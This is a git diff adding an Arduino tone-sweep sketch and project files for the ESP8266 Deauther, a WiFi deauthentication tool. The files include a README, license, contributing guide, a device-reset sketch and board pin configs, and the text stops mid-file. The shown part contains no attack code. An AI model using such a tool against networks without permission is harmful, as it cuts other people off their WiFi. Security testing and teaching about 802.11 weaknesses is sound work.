@@ -0,0 +1,35 @@ +// --------------------------------------------------------------------------- +// Connect your piezo buzzer (without internal oscillator) or speaker to these pins: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Be sure to include an inline 100 ohm resistor on one pin as you normally do when connecting a piezo or speaker. +// --------------------------------------------------------------------------- + +#include + +// Melody liberated from the toneMelody Arduino example sketch by Tom Igoe. +//int melody[] = { 262, 196, 196, 220, 196, 0, 247, 262 }; +//int noteDurations[] = { 4, 8, 8, 4, 4, 4, 4, 4 }; + +void setup() {} // Nothing to setup, just start playing! + +void loop() { + for (unsigned long freq = 125; freq <= 15000; freq += 10) { + toneAC(freq); // Play the frequency (125 Hz to 15 kHz sweep in 10 Hz steps). + delay(1); // Wait 1 ms so you can hear it. + } + toneAC(); // Turn off toneAC, can also use noToneAC(). +/* + delay(1000); // Wait a second. + + for (int thisNote = 0; thisNote < 8; thisNote++) { + int noteDuration = 1000/noteDurations[thisNote]; + toneAC(melody[thisNote], 10, noteDuration, true); // Play thisNote at full volume for noteDuration in the background. + delay(noteDuration * 4 / 3); // Wait while the tone plays in the background, plus another 33% delay between notes. + } +*/ + while(1); // Stop (so it doesn't repeat forever driving you crazy--you're welcome). +} diff --git a/Projects/sketch_jan27a/toneAC.h b/Projects/sketch_jan27a/toneAC.h new file mode 100644 index 0000000..f42c985 --- /dev/null +++ b/Projects/sketch_jan27a/toneAC.h @@ -0,0 +1,111 @@ +// --------------------------------------------------------------------------- +// toneAC Library - v1.2 - 01/27/2013 +// +// AUTHOR/LICENSE: +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// LINKS: +// Project home: http://code.google.com/p/arduino-tone-ac/ +// Blog: http://arduino.cc/forum/index.php/topic,142097.msg1066968.html +// +// DISCLAIMER: +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// PURPOSE: +// Replacement to the standard tone library with the advantage of nearly twice +// the volume, higher frequencies (even if running at a lower clock speed), +// higher quality (less clicking), nearly 1.5k smaller compiled code and less +// stress on the speaker. Disadvantages are that it must use certain pins and +// it uses two pins instead of one. But, if you're flexible with your pin +// choices, this is a great upgrade. It also uses timer 1 instead of timer 2, +// which may free up a conflict you have with the tone library. It exclusively +// uses port registers for the fastest and smallest code possible. +// +// USAGE: +// Connection is very similar to a piezo or standard speaker. Except, instead +// of connecting one speaker wire to ground you connect both speaker wires to +// Arduino pins. The pins you connect to are specific, as toneAC lets the +// ATmega microcontroller do all the pin timing and switching. This is +// important due to the high switching speed possible with toneAC and to make +// sure the pins are alyways perfectly out of phase with each other +// (push/pull). See the below CONNECTION section for which pins to use for +// different Arduinos. Just as usual when connecting a speaker, make sure you +// add an inline 100 ohm resistor between one of the pins and the speaker wire. +// +// CONNECTION: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// +// SYNTAX: +// toneAC( frequency [, volume [, length [, background ]]] ) - Play a note. +// Parameters: +// * frequency - Play the specified frequency indefinitely, turn off with toneAC(). +// * volume - [optional] Set a volume level. (default: 10, range: 0 to 10 [0 = off]) +// * length - [optional] Set the length to play in milliseconds. (default: 0 [forever], range: 0 to 2^32-1) +// * background - [optional] Play note in background or pause till finished? (default: false, values: true/false) +// toneAC() - Stop playing. +// noToneAC() - Same as toneAC(). +// +// HISTORY: +// 01/27/2013 v1.2 - Fixed a counter error which went "over the top" and caused +// periods of silence (thanks Krodal). For advanced users needing tight code, +// the TONEAC_TINY switch in toneAC.h activates a version of toneAC() that +// saves 110 bytes. With TONEAC_TINY, the syntax is toneAC(frequency, length) +// while playing the note at full volume forever in the background. Added +// support for the ATmega 640, 644, 1281, 1284P and 2561 microcontrollers. +// +// 01/16/2013 v1.1 - Option to play notes in background, returning control back +// to your sketch for processing while note plays (similar to the way the tone +// library works). Volume is now linear and in the range from 0-10. Now uses +// prescaler 256 instead of 64 for frequencies below 122 Hz so it can go down +// to 1 Hz no matter what speed the CPU is clocked at (helpful if using toneAC +// to control a two-pin dual LED). +// +// 01/11/2013 v1.0 - Initial release. +// +// --------------------------------------------------------------------------- + +#ifndef toneAC_h + #define toneAC_h + + #if defined(ARDUINO) && ARDUINO >= 100 + #include + #else + #include + #endif + + //#define TONEAC_TINY // Uncomment to use alternate function toneAC(frequency, length) that saves 110 bytes. + + #if defined (__AVR_ATmega32U4__) || defined(__AVR_ATmega640__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega2561__) + #define PWMT1AMASK DDB5 + #define PWMT1BMASK DDB6 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #elif defined(__AVR_ATmega1284P__) || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) + #define PWMT1AMASK DDD4 + #define PWMT1BMASK DDD5 + #define PWMT1DREG DDRD + #define PWMT1PORT PORTD + #else + #define PWMT1AMASK DDB1 + #define PWMT1BMASK DDB2 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #endif + + #if defined(__AVR_ATmega8__) || defined(__AVR_ATmega128__) + #define TIMSK1 TIMSK + #endif + + #ifndef TONEAC_TINY + void toneAC(unsigned long frequency = 0, uint8_t volume = 10, unsigned long length = 0, uint8_t background = false); + #else + void toneAC(unsigned long frequency = 0, unsigned long length = 0); + #endif + void noToneAC(); +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md b/enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md new file mode 100755 index 0000000..0d07494 --- /dev/null +++ b/enp8266/esp8266_deauther-master/CODE_OF_CONDUCT.md @@ -0,0 +1,47 @@ +# Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, OS choice, favourite programming language (especially if it's JavaScript), nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* Calling this project a "Jammer" +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting such as promoting chicken foodism + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mail@spacehuhn.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/enp8266/esp8266_deauther-master/CONTRIBUTING.md b/enp8266/esp8266_deauther-master/CONTRIBUTING.md new file mode 100755 index 0000000..d51cf32 --- /dev/null +++ b/enp8266/esp8266_deauther-master/CONTRIBUTING.md @@ -0,0 +1,95 @@ +# Request for contributions + +Please contribute to this repository if any of the following is true: +- You have expertise in Arduino/ESP8266 development, WiFi, or C/C++ +- You want to help lower the burden to first time contributors +- You want this open source community to be more collaborative and inclusive + +# How to contribute + +Prerequisites: + +- Familiarity with [pull requests](https://help.github.com/articles/using-pull-requests) and [issues](https://guides.github.com/features/issues/). +- Knowledge of [Markdown](https://help.github.com/articles/markdown-basics/) for editing `.md` documents. +- Knowledge of [WiFi Deauth](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) for understanding the project. + +In particular, this community seeks the following types of contributions: + +- **Ideas**: participate in an issue thread or start your own to have your voice +heard. +- **Resources**: submit a pull request to add to RESOURCES.md with links to related content. +- **Outline sections**: help us ensure that this repository is comprehensive. if +there is a topic that is overlooked, please add it, even if it is just a stub +in the form of a header and single sentence. Initially, most things fall into +this category. +- **Writing**: contribute your expertise in an area by helping us expand the included +content. +- **Copy editing**: fix typos, clarify language, and generally improve the quality +of the content. +- **Formatting**: help keep content easy to read with consistent formatting. + + +## Bug reports + +A bug is a _demonstrable problem_ that is caused by the code in the repository. +Good bug reports are extremely helpful - thank you! + +Guidelines for bug reports: + +1. **Use the GitHub issue search** — check if the issue has already been + reported. + +2. **Check if the issue has been fixed** — try to reproduce it using the + latest `master` or development branch in the repository. + +3. **Isolate the problem**. + +A good bug report shouldn't leave others needing to chase you up for more +information. Please try to be as detailed as possible in your report. What is +your environment? What steps will reproduce the issue? What browser(s) and OS +experience the problem? What would you expect to be the outcome? All these +details will help people to fix any potential bugs. + +Example: + +> Short and descriptive example bug report title +> +> A summary of the issue and the browser/OS environment in which it occurs. If +> suitable, include the steps required to reproduce the bug. +> +> 1. This is the first step +> 2. This is the second step +> 3. Further steps, etc. +> +> `` - a link to the serial output on pastebin +> `` - a photo of your build with apparent wiring +> +> Any other information you want to share that is relevant to the issue being +> reported. This might include the lines of code that you have identified as +> causing the bug, and potential solutions (and your opinions on their +> merits). + + + +## Feature requests + +Feature requests are welcome. But take a moment to find out whether your idea +fits with the scope and aims of the project. It's up to *you* to make a strong +case to convince the project's developers of the merits of this feature. Please +provide as much detail and context as possible. + + + +## Pull requests + +Good pull requests - patches, improvements, new features - are a fantastic +help. They should remain focused in scope and avoid containing unrelated +commits. + +**Please ask first** before embarking on any significant pull request (e.g. +implementing features, refactoring code, porting to a different language), +otherwise you risk spending a lot of time working on something that the +project's developers might not want to merge into the project. + +Please adhere to the coding conventions used throughout a project (indentation, +accurate comments, etc.) and any other requirements (such as test coverage). diff --git a/enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md b/enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md new file mode 100755 index 0000000..f44d49a --- /dev/null +++ b/enp8266/esp8266_deauther-master/ISSUE_TEMPLATE.md @@ -0,0 +1,13 @@ +> Please search for existing (open and closed) issues first to avoid duplicates. +Also have a look at the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki). +Please put error messages and code ```inside these 3 quotes/grave accents``` +(Delete this text when you've read it) + + +
+ Compile log (...) + + + +
+


diff --git a/enp8266/esp8266_deauther-master/LICENSE b/enp8266/esp8266_deauther-master/LICENSE new file mode 100755 index 0000000..a47d336 --- /dev/null +++ b/enp8266/esp8266_deauther-master/LICENSE @@ -0,0 +1,23 @@ +Do not redistribute, advertise or sell this software as a "jammer"!!! + +MIT License + +Copyright (c) 2018 Stefan Kremser + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/enp8266/esp8266_deauther-master/README.md b/enp8266/esp8266_deauther-master/README.md new file mode 100755 index 0000000..38404fa --- /dev/null +++ b/enp8266/esp8266_deauther-master/README.md @@ -0,0 +1,106 @@ +# ESP8266 Deauther 2.0 + +

PICTURE logo

+ +

+🦠Twitter +| 📺 YouTube +| 🌠spacehuhn.de
+
+Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners!

+Click here for the installation tutorial.
+ Click here for the .bin files.

+Support the development of this project by purchasing one of the official deauther boards.
+Or become a patron on patreon.com/spacehuhn.
+Also available: Stickers! +

+ +## What is New +[Here is a quick video about what is new](https://youtu.be/6oRmm3xfp6U) +Version 2.0: +- Completly rewritten code base for better performance and later enhancements +- Custom Deauther SDK for easy compiling using Arduino +- New serial command line interface to control and debug the program +- New display UI with a lot of new functions +- Improved web interface with multi-language support +- Improved scanning for access points and stations (+ continuous scanning mode) +- Save and select device names for both scanning and attacking +- Save up to 60 SSIDs and 25 devices in one list (you can create, load and save multiple lists) +- Added [PacketMonitor](https://github.com/spacehuhn/PacketMonitor) to display UI +- Deauth detection when scanning +- RGB LED support for a quick indication what the device is doing (attacking, scanning, ...) +- Better documentation on the new [wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) + +## About this project +This software allows you to easily perform a variety of actions to test 802.11 wireless networks by using an inexpensive ESP8266 WiFi SoC (System On A Chip). + +The main feature, the deauthentication attack, is used to disconnect devices from their WiFi network. +No one seems to care about this huge vulnerability in the official 802.11 WiFi standard, so I took action and enabled everyone who has less than 10 USD to spare to recreate this project. +I hope it raises more attention on the issue. In 2009 the WiFi Alliance actually fixed the problem (see [802.11w](https://en.wikipedia.org/wiki/IEEE_802.11w-2009)), but only a few companies implemented it into their devices and software. +To effectively prevent a deauthentication attack, both client and access point must support the 802.11w standard with protected management frames (PMF). +While most client devices seem to support it when the access point forces it, basically no WiFi access point has it enabled. + +Feel free to test your hardware out, annoy these companies with the problem, share this project and push for a fix! +This project is also a great way to learn more about WiFi, micro controllers, Arduino, hacking and electronics/programming in general. +**But please use this tool responsibly and do not use it against others without their permission!** + +The difference between deauthing and jamming: [click me](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ#difference-between-jammer-and-deauther) + +## Official Deauther Boards + +![PICTURE DSTIKE Deauther OLED Board](https://raw.githubusercontent.com/wiki/spacehuhn/esp8266_deauther/img/DSTIKE_Deauther_Board.jpg) + +If you want to support the development of this project, you can buy one of the official boards by DSTIKE (Travis Lin) on following sites: +- [Tindie](https://tindie.com/stores/lspoplove) +- [AliExpress](https://dstike.aliexpress.com/store/2996024) +- [Taobao](https://shop135375846.taobao.com) + +Those boards are optimized for this project, ready to use and come preflashed with the Deauther software! +For more details visit the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) under [Supported Devices](https://github.com/spacehuhn/esp8266_deauther/wiki/Supported-Devices). + +## Disclaimer +This project is a proof of concept for testing and educational purposes. +Neither the ESP8266, nor its SDK was meant or built for such purposes. Bugs can occur! + +Use it only against your own networks and devices! +Please check the legal regulations in your country before using it. +I don't take any responsibility for what you do with this program. + +It is **not a frequency jammer** as claimed falsely by many people. Its attack, its method and how to protect against it is described above. It uses valid Wi-Fi frames described in the IEEE 802.11 standard and doesn't block or disrupt any frequencies. + +This project is meant to draw more attention on this issue. +The [deauthentication](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed. +A solution is already there, why don't we use it? + +**Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!** +If you do, it only proves that you didn't understand anything of what this project stands for. Publishing content about this without a proper explanation shows that you only do it for the clicks, fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard! + +## Getting Started + +Visit our new [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) on how to recreate this project and use it. +Happy Hacking! + +## Credits +A huge thanks to: +- [@deantonious](http://github.com/deantonious) +- [@jLynx](https://github.com/jLynx) +- [@lspoplove](https://github.com/lspoplove) +- [@schinfo](https://github.com/schinfo) +- [@tobozo](https://github.com/tobozo) +- [@xdavidhu](https://github.com/xdavidhu) +- [@PwnKitteh](https://github.com/PwnKitteh) + +for helping out with various things regarding this project and keeping it alive! + +I also want to thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online! + +Shoutout to everyone working on the libraries used for this project: +- [esp8266-oled-ssd1306](https://github.com/ThingPulse/esp8266-oled-ssd1306) +- [ArduinoJson](https://github.com/bblanchon/ArduinoJson) +- [LinkedList](https://github.com/ivanseidel/LinkedList) + +Also thanks to everyone that supports this project by [donating](http://spacehuhn.de/donate), being my [patron](http://patreon.com/spacehuhn) or buying one of the [official Deauther boards](https://www.tindie.com/stores/lspoplove) from DSTIKE. + +## License + +This software is licensed under the MIT License. See the [license file](LICENSE) for details. diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/README.md b/enp8266/esp8266_deauther-master/Reset_Sketch/README.md new file mode 100755 index 0000000..1ebc191 --- /dev/null +++ b/enp8266/esp8266_deauther-master/Reset_Sketch/README.md @@ -0,0 +1,14 @@ +# RESET + +## Method 1 + +Open the Reset_Sketch.ino and upload with the correct settings. + +## Method 2 + +Flash one of the `reset_` files. + +## Method 3 + +Flash the `blank_1MB.bin` to 0x000000 for 1MB modules. +Flash it to 0x000000, 0x100000, 0x200000 and 0x300000 for 4MB modules. \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino b/enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino new file mode 100755 index 0000000..157eee1 --- /dev/null +++ b/enp8266/esp8266_deauther-master/Reset_Sketch/Reset_Sketch.ino @@ -0,0 +1,47 @@ +#include +#include + +/* + Upload this sketch to your ESP8266 to erase + - all files in the SPIFFS, + - all data in the EEPROM + - WiFi credentials (SSID, password) + + Also overwrites the previous program with this one (obviously). +*/ + +void setup() { + Serial.begin(115200); + + Serial.println(); + Serial.println("STARTING..."); + + EEPROM.begin(4096); + Serial.println("EEPROM initialized"); + + for (int i = 0; i < 4096; ++i){ + EEPROM.write(i,0x00); + } + + Serial.println("EEPROM cleaned"); + + SPIFFS.begin(); + Serial.println("SPIFFS initialized"); + + SPIFFS.format(); + Serial.println("SPIFFS cleaned"); + + ESP.eraseConfig(); + + Serial.println("WiFi credentials erased"); + + Serial.println("DONE!"); + + delay(10000); + + ESP.reset(); +} + +void loop() { + +} diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin new file mode 100755 index 0000000..ffcff5e --- /dev/null +++ b/enp8266/esp8266_deauther-master/Reset_Sketch/blank_1MB.bin @@ -0,0 +1 @@ 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x4`46Hi|Ykk?cwV~-0Af;uHG87A*^#b^rsVOi)PyI{)-ozu(zgD$vovp{~xZJW8MG& literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h new file mode 100755 index 0000000..d3af36d --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h @@ -0,0 +1,29 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 12 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md new file mode 100755 index 0000000..61ed10b --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md @@ -0,0 +1,17 @@ +# DSTIKE D-duino-b-v5 with the LED Ring Shield + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 12 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |Disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h new file mode 100755 index 0000000..d1f24e7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h @@ -0,0 +1,28 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 10 +#define BUTTON_DOWN 9 +#define BUTTON_A 14 +#define BUTTON_B 12 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md new file mode 100755 index 0000000..fc60a67 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther Boy + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 10 | +| Button Down | GPIO 9 | +| Button A | GPIO 14 | +| Button B |GPIO 12 | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h new file mode 100755 index 0000000..4f0a776 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h @@ -0,0 +1,82 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +//#define DIGITAL_LED +//#define RGB_LED +#define NEOPIXEL_LED + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + 0x3c = I2C address + SDA = GPIO 5 (D1) + SCL/SCK = GPIO 4 (D2) */ +//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md new file mode 100755 index 0000000..9c3abcf --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther v3 & DSTIKE NodeMCU-07 v2 + +| | | +| - | - | +| LED Type | Neopixel (WS2812b) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h new file mode 100755 index 0000000..52ff85b --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h @@ -0,0 +1,27 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md new file mode 100755 index 0000000..48c7813 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md @@ -0,0 +1,17 @@ +# DSTIKE 